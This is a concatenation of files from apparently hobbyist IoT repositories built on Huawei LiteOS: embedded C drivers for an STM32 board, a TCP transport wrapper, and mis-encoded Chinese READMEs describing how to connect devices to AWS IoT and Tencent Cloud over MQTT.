ๅไธบ็ฉ่็ฝๆไฝ็ณป็ปHuawei LiteOSๆฏๅไธบ้ขๅ็ฉ่็ฝ้ขๅๅผๅ็ไธไธชๅบไบๅฎๆถๅ
ๆ ธ็่ฝป้็บงๆไฝ็ณป็ปใๆฌ้กน็ฎๅฑไบๅไธบ็ฉ่็ฝๆไฝ็ณป็ป๏ผ็ฎๅไป
ๅผๆบๅบ็กๅ
ๆ ธ๏ผๅๆถ้้
ไบSTM32F412/F429/L476ๅGD32F190/F450ๅผๅๆฟ๏ผๅ็ปญไผๅผๆพๅ
ถไป็นๆงๅๆถๆฏๆๅ
ถไป็ฑปๅๅผๅๆฟใ็ฐๆไปฃ็ ๆฏๆไปปๅก่ฐๅบฆ๏ผๅ
ๅญ็ฎก็๏ผไธญๆญๆบๅถ๏ผ้ๅ็ฎก็๏ผไบไปถ็ฎก็๏ผIPCๆบๅถ๏ผๆถ้ด็ฎก็๏ผ่ฝฏๅฎๆถๅจไปฅๅๅๅ้พ่กจ็ญๅธธ็จๆฐๆฎ็ปๆใ
### ๅผๅๆฟ็ฑปๅ
* GD32F207C-EVAL
## LiteOS ็ณป็ปๅๅงๅๆต็จ

1. liteos
2. mqtt server
3. mqtt web client
4. mqtt electron desktop app
5. weapp ๅพฎไฟกๅฐ็จๅบ
## ๅผๆบๅ่ฎฎ
* ้ตๅพชMITๅผๆบ่ฎธๅฏๅ่ฎฎ
```
wdt.h
```/*
***********************************************************************************
*
*ๅ่ฝ๏ผ
*
*
*
*่ฏดๆ๏ผ1.
* 2.
* 3.
*
*
*By :Liubing๏ผๅผๅฟๅฐฑๅฅฝ๏ผ
*Contact :371007204@qq.com
*History :2015/2/27 8:39:52
***********************************************************************************
*/
#ifndef _WDT_H_
#define _WDT_H_
#include "lb_type.h"
#ifdef _WDT_C_
#define WDT_EXT
#else
#define WDT_EXT extern
#endif
#ifdef _WDT_C_
#endif
typedef struct
{
INT8U status;
}WdtStruct;
WDT_EXT WdtStruct WdtData;
WDT_EXT void WdtInit(void);
WDT_EXT void WdtClr(void);
#endif
```
README.md
```# Pictures for liteos tencentcloud
```
transport.c
```/*********************************************Copyright (c)***********************************************
** Wuhan CCEM
**
**--------------File Info---------------------------------------------------------------------------------
** File name:
** Latest modified Date:
** Latest Version:
** Descriptions:
**
**--------------------------------------------------------------------------------------------------------
** Created by: shhuang
** Created date: 2018-05-11
** Version: V1.0
** Descriptions: The original version
**
**--------------------------------------------------------------------------------------------------------
** Modified by:
** Modified date:
** Version:
** Descriptions:
**
*********************************************************************************************************/
/********************************************************************************************************
** Includes
*********************************************************************************************************/
#include "transport.h"
#include "tcp_echoclient.h"
void transport_open(void)
{
/*connect to tcp server */
tcp_connet_creat();
}
void transport_close(void)
{
tcp_connet_close();
}
void transport_sendPacketBuffer(unsigned char* buf, int buflen)
{
send_tcp_data(buf,buflen);
}
int transport_getdata(unsigned char* buf, int count)
{
return receive_tcp_data(buf,count);
}
/*********************************************************************************************************
END FILE
*********************************************************************************************************/
```
readme.md
```# ๆฅผๅฎๆธ
ๆดๅฐ็ฎกๅฎถ
**ๅกซๅ่ฏดๆ๏ผ** ย
- ่ฏทๆ็
งๆจกๆฟ่ฆๆฑๅกซๅๅ้กนๅ
ๅฎนใ
- ๆนๆกไฝไธบ่ฏๆฏไธป่ฆไบคไปไปถไนไธ๏ผ่ฏทๅฐฝ้ๅๅฐๅ
ๅฎนๅฎๆดใๅพๆๅนถ่ใ้ไฟๆๆใๆ่ทฏๆธ
ๆฐใ
- ้กน็ฎๆนๆกไธญ็ฌฌไธๆฌกๅบ็ฐๅคๆๅ่ฏๆถ๏ผ่ฆๅๆธ
ๅ
จ็งฐๅ็ผฉๅ๏ผๅๅบ็ฐๅไธ่ฏๆถๅฏไปฅไฝฟ็จ็ผฉๅใ
ไธใ่ๆฏๅไป็ป
==============
1ใๅ
ฌๅธ/ๅข้ไป็ป
----------------
๏ผ1๏ผ่ฏทๆจ็ฎ่ฆไป็ปไธ่ดตๅ
ฌๅธ๏ผๆ่
ๅผๅๅข้๏ผ๏ผๆไปไบ็่กไธใไธป่ฆไบงๅๅไผๅฟ็ญใ
- ไธญ็ง้ข่ชๅจๅ็ ็ฉถๆ่ฟ็จๆบ่ฝๅป็ๅข้๏ผไปฅๅๅฑ็ฌฌไธไปฃ่ฟ็จๅป็ไธบ็ฎๆ ๏ผๅผๅฑๆบ่ฝๅ่ฟ็จๅป็ๅ
ณ้ฎๆๆฏ็ณป็ป็ ็ฉถ๏ผไธป่ฆ็ ็ฉถๆนๅไธบ๏ผๆบ่ฝ็ฉ่็ฝๅนณๅฐใๆๆงๆๅกๆบๆขฐ่ใๆบ่ฝๅฃฐๅพๆๅค็ใ็ณปๅๅๅป็ๆๅกๆบๅจไบบใ
- ๆธธๅ๏ผๅตๅ
ฅๅผ่ฝฏไปถๅทฅ็จๅธ๏ผ่ด่ดฃ็ฉ่็ฝ็ฝ็ป้ไฟกๅๆบๅจไบบ่ฏญ้ณ่ฏๅซใๅฏผ่ชๅฎไฝ็ธๅ
ณ่ฏพ้ข็ ็ฉถๅ็ณป็ป่ฎพ่ฎกใ
2ใ้กน็ฎไป็ป
-----------
**้กน็ฎ็ฎไป๏ผ**
็ฎ่ฆไป็ปๅไธๆฌๆฌกๆดปๅจๆๅผๅ็้กน็ฎๆ็ๅบฆ๏ผๅฆ๏ผ็บฏๅๆ้ถๆฎตใๆญฃๅจ่ฟ่ก้ๆฑ่ฐ็ ใๅทฒๅฎๆๅ่ฝ่ฎพ่ฎกใๅทฒๅฎๆๅๆญฅๅผๅใๅทฒๅฎๆๅๅ่ฎพ่ฎกใๅทฒๅฎๆ็ฌฌไธ็ไบงๅๆ่งฃๅณๆนๆกใๆญฃๅจ่ฟ่ก่ฏ็จ็ญใ
๏ผ1๏ผ็ฎ่ฆ้่ฟฐๅไธๆฌๆฌกๆดปๅจๆๅผๅ็้กน็ฎ็่กไธ็ฐ็ถ๏ผๅ
ๆฌๅธๅบไธ็ไธปๆตๆๆฏ๏ผๆถ็ฐๅบ็ๆฐๆๆฏ๏ผๆชๆฅ็ๅๅฑ่ถๅฟใ
- ๆฅผๅฎๆธ
ๆดๅฐ็ฎกๅฎถ้กน็ฎๅฑไบๆฌไบบ็ๅๆ้กน็ฎ๏ผ็ฎๅๅคไบ็บฏๅๆ้ถๆฎตใ
- ๆฅผๅฎๆธ
ๆดๅฐ็ฎกๅฎถๆฏไธไธชๆบ่ฝๆบๅจไบบ๏ผ้่ฟๅฎ่ฃ
ๅจๅๅพๆกถไธ็ไผ ๆๅจ๏ผ้้ๅๅพๆกถๅผๅณใๆฏๅฆๅทฒๆปก็ญ็ถๆ๏ผๅนถไผ ่พๅฐ็ฉ่็ฝไบๅนณๅฐ๏ผๅนถ่งฆๅๆฅผๅฎๆธ
ๆดๅฐ็ฎกๅฎถ๏ผๆบๅจไบบ๏ผ่ฟ่ก่ชๅจ่ทฏๅพ่งๅ๏ผๅฎๆๅๅๅพๅนถๅฐๅๅพๆกถๅฝไธบๅไฝๅจไฝใ
๏ผ2๏ผๅบ็จๅบๆฏ๏ผๆฌ้กน็ฎ้ขๅ็ๅธๅบ้ๆฑ๏ผ่กไธ็ฐ็ถ๏ผๅบ็จๅบๆฏๅ็จๆทๅฏน่ฑก็ญใ
- ็ฐ็ฎๅๅๅๅ
ฌๆฅผๅฎไธญ้ๅธธๆฏๅฑ้
ๅคๅ ๅๆๅกไบบๅ๏ผๅๅซ่ด่ดฃๅๅ
ฌๅบๅใๅๆๅบๅ็ญๅฐ็ๆธ
ๆดๅทฅไฝ๏ผ้ๅธธๆธ
ๆดไบบๅ้่ฆ้ข็นๆฅ่ฏขๅๅพๆกถ็ถๅตไปฅๅๆถๆธ
็๏ผๅทฅไฝๆ็ไฝไธใ
- ๆฅผๅฎๆธ
ๆดๅฐ็ฎกๅฎถไธป่ฆๆฏไธบไบๆฟไปฃไฝๅฑๆฌกๆๅกไบบๅ้ๅคๅณๅจ๏ผๅบ็จไบๅคงๅๅๅ
ฌๅๅญๆฅผ็ญๅฐๆน๏ผๅๅฐๅปไปทๅณๅจๅๅผๆฏใ
๏ผ3๏ผๆฆ่ฟฐๆฌ้กน็ฎ่ฎพ่ฎก็น็นไธไบฎ็น๏ผๅ
ๆฌไฝไธ้ไบๅๆๆฐ้ขๆงใ่ฎพ่ฎก็ฌ็นๆงๅๆ็ญๅ
ๅฎนใ
- ไธๆฏๅ็บฏ็่ฎพ่ฎกๆบ่ฝๅๅพๆกถ๏ผไนไธ้่ฆๆธ
ๆดไบบๅๅจไบๅนณๅฐ็ๆงๅไธชๅๅพๆกถ็ถๅตๅนถๅค็๏ผ่ๆฏไปๆ็ฅๅฐ่ชๅจๅค็ๅฝขๆ้ญ็ฏ๏ผๆฅผๅฎๆธ
ๆดๅฐ็ฎกๅฎถ่ชๅจๅฎๆ๏ผไธ็จไบบๅทฅๅนฒๆถ๏ผ็ๆญฃๅฎ็ฐๅปไปทๅณๅจ็่งฃๆพใ
- ็ฎๅๅชๆฏๆถๅๅฐๅๅพๆกถ๏ผๅ็ปญๅฏไปฅ้ๅฏนๆฅผๅฎไธญๅ
ถไป่ฎพๆฝ๏ผ่ฟ่กๆฉๅฑใ
๏ผ4๏ผๅธๅบๅๆฏๅๆ๏ผๅไธๆๅบ็จๆจกๅผ๏ผ้กน็ฎ่ฎกๅๅๅฏ่กๆงๅๆ็ญ่กฅๅ
ๅ
ๅฎนใ
- ้็ๆๅกๆบๅจไบบใ็ฉ่็ฝ็ญ็ธๅ
ณๆๆฏ็ๅๅฑ๏ผไปฅๅ็ฉ็ฉ็ธ่ฟ็่ฟซๅ้ๆฑ๏ผ่ฎพ่ฎก่ฝๅคๆฟไปฃๅปไปทๅณๅจไบบๅ็ๆๅกๆบๅจไบบ๏ผๅนถไธ่พน็ผ่ฎพๅคไบ่ไบ้๏ผๅฎ็ฐๆบ่็ฝๆฏๆชๆฅ็ๅๅฑ่ถๅฟใ
ไบใ้กน็ฎๅ
ๅฎน
============
1ใๆนๆก่ฏดๆ
-----------
๏ผ1๏ผ้กน็ฎ๏ผไบงๅ๏ผๅ่ฝ่ฏฆ็ป่ฏดๆใ
- ๅๅพๆกถๅฎ่ฃ
ๆฐๅณใ็บขๅคไผ ๆๅจ๏ผๆฃๆตๅๅพๅผๅณๅๆฏๅฆๅทฒๆปก็ถๆ๏ผๅนถไธไผ ่ณ็ฝๅ
ณใ
- ็ฝๅ
ณๅฐๆฏไธๅฑๆฅผๆๆๅๅพๆกถไฟกๆฏไธไผ ่ณไบๅนณๅฐใ
- ๆฅผๅฎๆธ
ๆดๅฐ็ฎกๅฎถไปไบๅนณๅฐ่ทๅๆฅผๅฎไธญๆๆๅๅพๆกถ็ถๆ๏ผๅฏนไบ้่ฆๆธ
ๆด็ๆไธไธชๅๅพๆกถไบไปฅๅๆถๅๅบใ
ๆๆ็ปๆๅฆไธๅพๆ็คบ๏ผ

๏ผ2๏ผIoTๅนณๅฐๅฏนๆฅๆนๆก่ฏฆ็ป่ฏดๆใๅ
ๆฌๅฏนๆฅ็ฌฌไธๆนไบๅนณๅฐ็ๅ่ฎฎใๆฅๅ
ฅๆนๅผ๏ผๅฏนๆฅ็ๅ่ฝๆถๆ็ญ๏ผๅนถ้ไธ็ธๅ
ณๅพ็คบ๏ผใ
- ๅฏนๆฅAWS IOTไบๅนณๅฐใ
- ๅฏนๆฅๅ่ฎฎไธบMQTT+TLS
- ๆฅๅ
ฅๆนๅผ๏ผๅๅพๆกถๅ็ฝๅ
ณไน้ด็จWiFi/zigbee็ญๆ ็บฟ้ไฟก๏ผ็ฝๅ
ณๅไบๅนณๅฐไน้ด็จไปฅๅคช็ฝ๏ผๆบๅจไบบๅไบๅนณๅฐไน้ด็จWiFiใ
๏ผ3๏ผๆๅฏนๆฅ็็ฌฌไธๆนIoTไบๅนณๅฐ็็ฎไปใ็ฎ่ฟฐ่ฏฅๅนณๅฐ็็น็นไธไผๅฟใ
- ไบ้ฉฌ้AWS(Amazon Web Services (AWS))ๆฏไบ้ฉฌ้ๆไพ็ไธไธไบ่ฎก็ฎๆๅกใๅจ็ฉ่็ฝๆน้ขๆไพAWS IOT coreใAWS greengrassใAWS freeRTOS็ญๅคไธช็ฉ่็ฝไบงๅใ่ฟ้ๅฏนๆฅ็ๆฏAWS IOT coreใๅ
ถๅ
ๅซ่บซไปฝ้ช่ฏๆๆใ่งๅๅผๆใ่ฎพๅคๅฝฑๅญ็ญๅ่ฝใ
- ๅฝๅ
ๅคๅๅ
ฌๅธ่ฟไธคๅนดๆจๅบ่ฎธๅค็ฉ่็ฝๅนณๅฐ๏ผAWS IOTๆฏ้ฟ้ใ่
พ่ฎฏใ็พๅบฆ็ธๅ
ณ็ฉ่็ฝๅนณๅฐๆดๆฉๅบ็ฐใ็ธๅ
ณๆฏ่พๅ่[ๅฝๅ
ๅค็ฉ่็ฝๅนณๅฐๅๆข็ณปๅ][1]ใ
- AWS IOTๆไพไบๅบไบๅค็งๅนณๅฐ็SDK๏ผๅ
ๆฌAndroidใๅตๅ
ฅๅผCใiOSใJavaใJavascriptใPython็ญ๏ผๆนไพฟๅๅปบ็ฝ้กตใapp็ญๅบ็จ็จๅบใ
[1]: https://mp.weixin.qq.com/s/12cisL_oqp8BI5udhXX1hQ
2ใ็กฌไปถๆนๆก
-----------
่ฏฆ็ปไป็ปๆฌ้กน็ฎ็็กฌไปถๆนๆก๏ผๅ
ๆฌไฝไธ้ไบ็กฌไปถๆถๆใ็กฌไปถๅ่กจใ็ตๆฐๅ็ๅพ็ญ๏ผๅนถ้ไธ็ธๅ
ณๅพ็คบ๏ผใ
- ๆฌ้กน็ฎๆๆถๆฒกๆๆถๅ็ฝๅ
ณๅๆบๅจไบบ๏ผ็ดๆฅๅฐๅๅพๆกถๆฐๆฎ้่ฟ็ฝ็ปไผ ่พๅฐไบๅนณๅฐใ
- ไฝฟ็จstm32f429ๅผๅๆฟๆจกๆๅๅพๆกถ๏ผๅคๆฅๆฐไฝไผ ๆๅจๅ็บขๅคไผ ๆๅจใๆฐไฝไผ ๆๅจๆฃๆตๆฏๅฆๅบ็ฐๅผๅณ๏ผ็บขๅคไผ ๆๅจๆฃๆตๆฏๅฆๅทฒๆปกใ
- ไฝฟ็จ็ฝ็บฟ่ฟๆฅstm32f429ๅผๅๆฟๅฐ่ทฏ็ฑๅจไธ็ฝใ
3ใ่ฝฏไปถๆนๆก
-----------
่ฏฆ็ปไป็ป่ฝฏไปถๆนๆก๏ผๅ
ๆฌไฝไธ้ไบ่ฝฏไปถๆดไฝๆถๆ๏ผๅ่ฝๆจกๅๅๅ๏ผไธป่ฆๆจกๅๅ่ฝๅๆ็ญ๏ผๅนถ้ไธ็ธๅ
ณๅพ็คบ๏ผใ
่ฏฆ็ปไป็ปLiteOSไธไบๅนณๅฐๅฏนๆฅๅฎ็ฐ่ฟ็จ๏ผๅ
ๆฌๅ่ฎฎๆ ๏ผๅนณๅฐๆฅๅฃ็ญ๏ผ
*ๅ ไธบไธๆถๅ็ฝๅ
ณๅๆบๅจไบบ๏ผ่ฟ้ๅช่ฎบ่ฟฐstm32f429ๅผๅๆฟไธไบๅนณๅฐไบคไบ็่ฝฏไปถๆนๆกใ*
- ็งปๆคLWIPๅ่ฎฎๆ ๏ผๅฎ็ฐไปฅๅคช็ฝ้ไฟกใ
- ็งปๆคmbedtlsๅ่ฎฎ๏ผๅฎ็ฐ็ฝ็ปๅ ๅฏไธ่ฎค่ฏใ
- ็งปๆคaws-iot-device-sdk-embedded-C๏ผๅฎ็ฐAWS IOT็ๅ่ฝๆฅๅ
ฅใ
ไธใๆฅๅ
ฅ็ฌฌไธๆนไบๅนณๅฐ
====================
AWS IOTๆฅๅ
ฅๆนๆณ๏ผ่ฏฆๆ
ๅ่[AWS IOT developer guide][2]
[2]: https://docs.aws.amazon.com/iot/latest/developerguide/iot-sdks.html
1ใไบๅนณๅฐ่ดฆๅทๆณจๅ
-----------------
่ฏฆ็ปไป็ป่ดฆๅท่ทๅ่ฟ็จ๏ผๅฏไปฅๆๆญฅ้ชคๆ่ฟฐใ
- ็ฅ
2ใไบๅนณๅฐไฝฟ็จ
-----------------
่ฏทไพๆฎๆ้ๆฉ็ไบๅนณๅฐ๏ผ่ฏฆ็ป้่ฟฐไบงๅๅๅปบ่ฟ็จใๅ ไธบไธๅ็ไบๅนณๅฐๆฅๅ
ฅ่ฟ็จไธ่ฝ้็จ๏ผๆญคไบงๅๅๅปบๅๅ็ปญ่ฎพๅค็ฎก็็ญๆต็จ๏ผ่ฏทๆ นๆฎๅไธๅไบๅนณๅฐ้ๅฝ่ฐๆดใ
AWS IOTไฝฟ็จๅ
ๆฌไปฅไธๆญฅ้ชค๏ผ
- ๅๅปบไบ็ฉ
- ๅๅปบๅนถๆฟๆดป่ฏไนฆ๏ผไบ็ฉ่ฏไนฆใไบ็ฉๅ
ฌ้ฅใไบ็ฉๅฏ้ฅ๏ผ
- ๅๅปบAWS IOT็ญ็ฅ
- ๅฐAWS IOT็ญ็ฅ้ๅ ๅฐ่ฎพๅค่ฏไนฆ
- ๅฐ่ฏไนฆ้ๅ ๅฐไบ็ฉไธ
- ๅฐไบ็ฉ่ฏไนฆๅๅฏ้ฅใๆ น่ฏไนฆ้
็ฝฎๅฐ่ฎพๅคไธญ
- ๅๅธ/่ฎข้
ๆถๆฏ
่ฟ้ๆๅๅปบไบๅไธบgarbagecan01็ไบ็ฉ๏ผๆญฅ้ชคๅฆๅพ๏ผ








ๅใๅ
ณ้ฎๆบไปฃ็ ่งฃๆ
==================
ๆฌๆฌกๆบไปฃ็ ๅ่ไบไปฅไธไปฃ็ ๏ผ
- 5-ไปฅๅคช็ฝLwipไพ็จ.zip(็ง็ซstm32f429ๅผๅๆฟๆไพ)
- en.x-cube-aws.zip(AWS IoT Core ๅๅญฆ่
ๅทฅๅ
ทๅ
:STM32 IoT Discovery ่็น)
1ใ็จๅบๆไปถไป็ป
---------------
- arch ไฝ็ณปๆถๆ
- Common mbedtlsๅAWS้่ฆไฝฟ็จ็ๅ
ฌๅ
ฑไปฃ็
- driver ๅผๅๆฟ้ฉฑๅจ
- third_party/AWS AWS็ธๅ
ณไปฃ็
- third_party/LWIP lwip2.0.3(ๆๆชไฝฟ็จ)
- third_party/lwip-1.4.1 lwip1.4.1็ธๅ
ณไปฃ็
- third_party/mbedTLS mbedTLS็ธๅ
ณไปฃ็
2ใ็จๅบไธปๅฝๆฐ่ฏดๆ
-----------------
- ๅจไธปๅฝๆฐไธญๅๅปบไปปๅก๏ผๅฎๆ็ธๅ
ณๅ่ฝใ
- void LwIP_DHCP_task(void)ๆฏLWIP DHCPไปปๅกใ
- void cloud_test(void)ๆฏไบๅนณๅฐๆต่ฏไปปๅกใ
3ใๅ
ณ้ฎไปฃ็ ่ฏดๆ
---------------
1. LWIP็งปๆค
- ๆฌๆฌก้กน็ฎ็งปๆคLWIP็ๆฌไธบ1.4.1ใ
- ๅ่ใ5-ไปฅๅคช็ฝLwipไพ็จ.zipใไธญ็ใไปฅๅคช็ฝโๅบไบuCOS-III็LwIP็งปๆค๏ผDHCP๏ผใไปฃ็ ใ
- ไธป่ฆไฟฎๆนsys_arch.cๆไปถ๏ผๅ
ถไธญไฟกๅท้ใๆถๆฏ้ๅใๅๅปบๆฐ็บฟ็จใไธญๆญไฟๆค็ธๅ
ณๅฝๆฐ้่ฆ็จliteos็APIๅฝๆฐๅฎ็ฐใ
- ethernetif.cไธญ็Ethernetif_inputๅฝๆฐๅnetconf.cไธญ็LWIP_DHCP_taskๅฝๆฐไธญๆถๅ็ๅปถๆถๅฝๆฐ่ฆ็จliteos็ธๅ
ณๅปถๆถๅฝๆฐๅฎ็ฐใ
- ๆณจๆๅไธชไปปๅก็ไผๅ
็บงใ
2. mbedtlsไธAWS็งปๆค
- setRTCTimeDateFromNetworkๅฝๆฐๅฎ็ฐไป็ฝ็ปไธญ่ทๅๅฎๆถๆถ้ดใ
- ๅฎไนUSE_MBED_TLSๅฎ๏ผ้่ฆๅผๅ
ฅCA certใ
- ็ฎๅ่ฏฅๅฝๆฐๅบ้๏ผๅบ็ฐhardfault้่ฏฏ๏ผๅฐๆช่งฃๅณใ
- AWS็งปๆค๏ผ้่ฆๆ นๆฎไธ่ฝฝ็่ฏไนฆๅฏ้ฅไปฅๅๆ น่ฏไนฆๅ็ธๅ
ณ้
็ฝฎใ้
็ฝฎๅ
ๅฎนๅ
ๆฌ๏ผ
- ๆๅกๅจๅฐๅ
- ๆ น่ฏไนฆ
- ไบ็ฉ่ฏไนฆ
- ไบ็ฉๅฏ้ฅ
- ไบ็ฉๅ็งฐ
- ไบ็ฉID
4ใไธไผ ๆฐๆฎไปฃ็ ่ฏฆ่งฃ
-------------------
- ๅพ
ๅฎๆ
3ใไธๅๅฝไปคไปฃ็ ่ฏฆ่งฃ
-------------------
- ๅพ
ๅฎๆ
ไบใไบงๅ่ฐ่ฏ
============
1ใ็กฌไปถ่ฐ่ฏ
-----------
่ฏท่พ
ๅฉ็
ง็ใๅพ่กจๅ่ง้ข็ญๅ
ๅฎน๏ผ่ฏฆ็ปไป็ปๆฅ็บฟใ็กฌไปถ่ฐ่ฏ๏ผ่ฝๆธ
ๆฐ็็ๅฐๆดไธช่ฐ่ฏ่ฟ็จใ
- stm32f429ๅผๅๆฟ่ฟๆฅ็ฝ็บฟๅฐ่ทฏ็ฑๅจใ
2ใ่ฝฏไปถ่ฐ่ฏ
-----------
๏ผ1๏ผ่ฐ่ฏ่ฟ็จ็ปผ่ฟฐใ
- ไธ่ฝฝๅนถ็งๅ็จๅบๅฐๅผๅๆฟใ
- ่ฟ่ก็จๅบ๏ผๆๅผ่ฐ่ฏไธฒๅฃ๏ผ115200-8-N-1๏ผ่งๅฏ็ฐ่ฑกใ
- โฆโฆ
๏ผ2๏ผไธๆฅๆฐๆฎ่ฐ่ฏ่ฟ็จใ
- ๅพ
ๅฎๆ
๏ผ3๏ผไธๅๅฝไปค่ฐ่ฏ่ฟ็จใ
*่ฏท่พ
ๅฉ็
ง็ใๅพ่กจๅ่ง้ข็ญๅ
ๅฎนใ*
- ๅพ
ๅฎๆ
ๅ
ญใ็ฌฌไธๆนไบๅนณๅฐ่ฝๅๅฑ็คบ
========================
1ใไบๅนณๅฐAPIไฝฟ็จ่ฏดๆ
--------------------
่ฏฆ็ป่ฏดๆๅนณๅฐAPIไฝฟ็จๆ
ๅตใ
- ๅพ
ๅฎๆ
2ใๅนณๅฐ่ฝๅๅฑ็คบ
---------------
่ฏท็ปๅๆฌ้กน็ฎ็่กไธๅฑๆง๏ผๅฑ็คบ็ฌฌไธๆนไบๅนณๅฐๆไพ็่ฝๅใไพๅฆ่ถๅฟ้ขๆตใไบ้่ฎฏใๅคงๆฐๆฎๅๆใ่ฎพๅคๅ
จ็ๅฝๅจๆ็ฎก็ใไบๆฐๆฎๅบไฝฟ็จใ่ฟ็จๅ็บงๅ่ฝใGISๅฑ็คบ็ญ๏ผๆ นๆฎไบๅนณๅฐๆไพ็่ฝๅ๏ผใ
- ๅพ
ๅฎๆ
3ใWEBๆ็งปๅจAPPๅฑ็คบ
-------------------
่ฅๆWEBๆAPP็งปๅจ็ซฏ๏ผ่ฏทๅฑ็คบ็ธๅ
ณ่ฝๅใ
- ๅพ
ๅฎๆ
```
los_bsp_key.c
```#include "stm32f4xx.h"
#include "stm32f4xx_rcc.h"
#include "stm32f4xx_gpio.h"
#include "los_bsp_key.h"
//ๅฎไนไธคไธชๆ้ฎ็ๅผ่
#define KEY1_PIN GPIO_Pin_0
#define KEY1_GPIO_PORT GPIOA
#define KEY1_GPIO_CLK RCC_AHB1Periph_GPIOA
void LOS_EvbKeyInit(void)
{
GPIO_InitTypeDef GPIO_InitStructure;
/*ๅผๅฏๆ้ฎGPIOๅฃ็ๆถ้*/
RCC_AHB1PeriphClockCmd(KEY1_GPIO_CLK,ENABLE);
/*้ๆฉๆ้ฎ็ๅผ่*/
GPIO_InitStructure.GPIO_Pin = KEY1_PIN;
/*่ฎพ็ฝฎๅผ่ไธบ่พๅ
ฅๆจกๅผ*/
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN;
/*่ฎพ็ฝฎๅผ่ไธไธๆไนไธไธๆ*/
GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL;
/* ่ฎพ็ฝฎๅผ่้ๅบฆ */
GPIO_InitStructure.GPIO_Speed= GPIO_Speed_2MHz;
/*ไฝฟ็จไธ้ข็็ปๆไฝๅๅงๅๆ้ฎ*/
GPIO_Init(KEY1_GPIO_PORT, &GPIO_InitStructure);
return;
}
/*****************************************************************************
Function : LOS_EvbGetKeyVal
Description : Get GIOP Key value
Input : int KeyNum
Output : None
Return : KeyVal
*****************************************************************************/
unsigned int LOS_EvbGetKeyVal(int KeyNum)
{
unsigned int KeyVal = LOS_GPIO_ERR;
if(GPIO_ReadInputDataBit(KEY1_GPIO_PORT,KEY1_PIN)==1)
KeyVal = LOS_KEY_PRESS;
//add you code here.
return KeyVal;
}
```
README.md
```# ไธใ่ๆฏๅไป็ป
## 1ใๅ
ฌๅธ/ๅข้ไป็ป
[ๆดชไธ](https://github.com/ianhom)๏ผๅตๅ
ฅๅผๆไฝ็ณป็ป็ฑๅฅฝ่
๏ผๅฐๅๆไฝ็ณป็ป[MOE](https://github.com/ianhom/MOE)ไฝ่
;็ญ็ฑ็ฉ่็ฝ๏ผๅฏน่ๆฌ่ฏญ่จๅจๅตๅ
ฅๅผๅผๅไธญ็ๅบ็จๆๆตๅ็ๅ
ด่ถฃใ
## 2ใ้กน็ฎไป็ป ย ย
- ๅตๅ
ฅๅผ็ป็ซฏ้่ฟ**LiteOS**่ฟๆฅๅฐ**่
พ่ฎฏไบ็ฉ่็ฝๅนณๅฐ**,ๅฎ็ฐๅบ็ก็่ฟๆฅๅๆฐๆฎไผ ่พใ ย ย
# ไบใ้กน็ฎๅ
ๅฎน
## 1ใๆนๆก่ฏดๆ
- ่
พ่ฎฏไบๅนณๅฐๆไพไบไธฐๅฏ็ไบไบงๅ๏ผๅ
ถไธญๅ
ๆฌไบIoTๆนๅ็โ็ฉ่็ฝ้ไฟกโๆจกๅ๏ผ้่ฟ่ฏฅๆจกๅ๏ผ็ป็ซฏ่ฎพๅคๅฏไปฅ้่ฟMQTTๆCoAPๆฅๅ
ฅ่
พ่ฎฏ็ฉ่็ฝๅนณๅฐ๏ผๅฎ็ฐ่ฎพๅค็็ฎก็ๅๆฐๆฎ็ไบคไบใ
- ๅบไบSTM32F429ๅนณๅฐ๏ผ้่ฟLiteOS + LwIP + MQTT่ฟๆฅๅฐ[่
พ่ฎฏไบ็ฉ่็ฝๅนณๅฐ](https://cloud.tencent.com/product/iothub)ใSTM32F429ๅนณๅฐๆ้้็ๆฐๆฎ้่ฟๆ็บฟEthernet+LwIP+MQTTไผ ๅฐไบ็ซฏ๏ผๅฎ็ฐไบ็ซฏๅนณๅฐๆฐๆฎๅฑ็คบใ
## 2ใ็กฌไปถๆนๆก
- [้็ซSTM32F429ๆๆ่
ๅผๅๆฟ](https://item.taobao.com/item.htm?spm=a1z10.5-c.w4002-10310241588.32.31936ab2hZzHfP&id=545418358219)
- ARM Cortex-M4, 180MHz, 256kB RAM, 1MB Flash
- ๆฟ่ฝฝETH/WiFi
## 3ใ่ฝฏไปถๆนๆก
- [LiteOS](https://github.com/LiteOS/LiteOS)
- [LwIP + MQTT](http://savannah.nongnu.org/projects/lwip/)
# ไธใๆฅๅ
ฅ็ฌฌไธๆนไบๅนณๅฐ
- ่
พ่ฎฏไบไธญ็ฉ่็ฝ็ธๅ
ณ็ไบไบงๅๆฏโ็ฉ่็ฝ้ไฟกโ๏ผๅฏไปฅ้่ฟ่ฏฅๅนณๅฐๅปบ็ซใ็ฎก็่ฎพๅคๅจ็บฟ็ถๆ๏ผๆฐๆฎ็ไธไผ ๅไธๅ๏ผ้่ฟๆถๆฏ้ๅ็ญๅ
ถๅฎ่
พ่ฎฏไบไบงๅAPIๅฏไปฅๅฎ็ฐ็ฉ่็ฝๆฐๆฎ็ๅจๅญใๅค็ใๅๆๅๅฑ็คบ็ญใ
## 1ใ ๅๅปบๆฐไบงๅ
- ็ปๅฝ[่
พ่ฎฏไบๅนณๅฐๅฎ็ฝ](https://cloud.tencent.com/)๏ผๆณจๅ/็ปๅฝ่ดฆๅท๏ผ่ฟๅ
ฅๆงๅถๅฐ๏ผๅฆๅพๆ็คบ๏ผๅจไบไบงๅไธญ้ๆฉโ**็ฉ่็ฝ้ไฟก**โ
- 
- ็นๅป**ๅๅปบไบงๅ**
- ้ๆฉๆๅกๅจ**ๆๅฑๅฐๅบ**๏ผๅฝๅๅชๆๅนฟๅทๅฏ้ใ
- ่พๅ
ฅ**ไบงๅๅ็งฐ**๏ผ่ฏฅๅ็งฐๆฏไธ็ฑปไบงๅ็ๅฎไน๏ผไพๅฆโLiteOS_Temperature_Sensorโ
- ้ๆฉ**่ฎค่ฏๆนๅผ**๏ผๆฌไพ้็จ**ๅฏ้ฅ่ฎค่ฏ**
- ๅฏ้ๅกซๅ
ฅ**ไบงๅๆ่ฟฐ**
- ็นๅป**ๅๅปบ**ๅณๅฏๅฎๆๆฐไบงๅๅปบ็ซ๏ผๆญคๆถๅฐ่ทๅพ**productID**๏ผ่ฏฅIDๆฏ็ป็ซฏ้่ฟMQTT่ฎฟ้ฎไบ็ซฏ็้่ฆๅญ่ฏไนไธใ
- 
## 2ใ ๅๅปบๆฐ่ฎพๅค
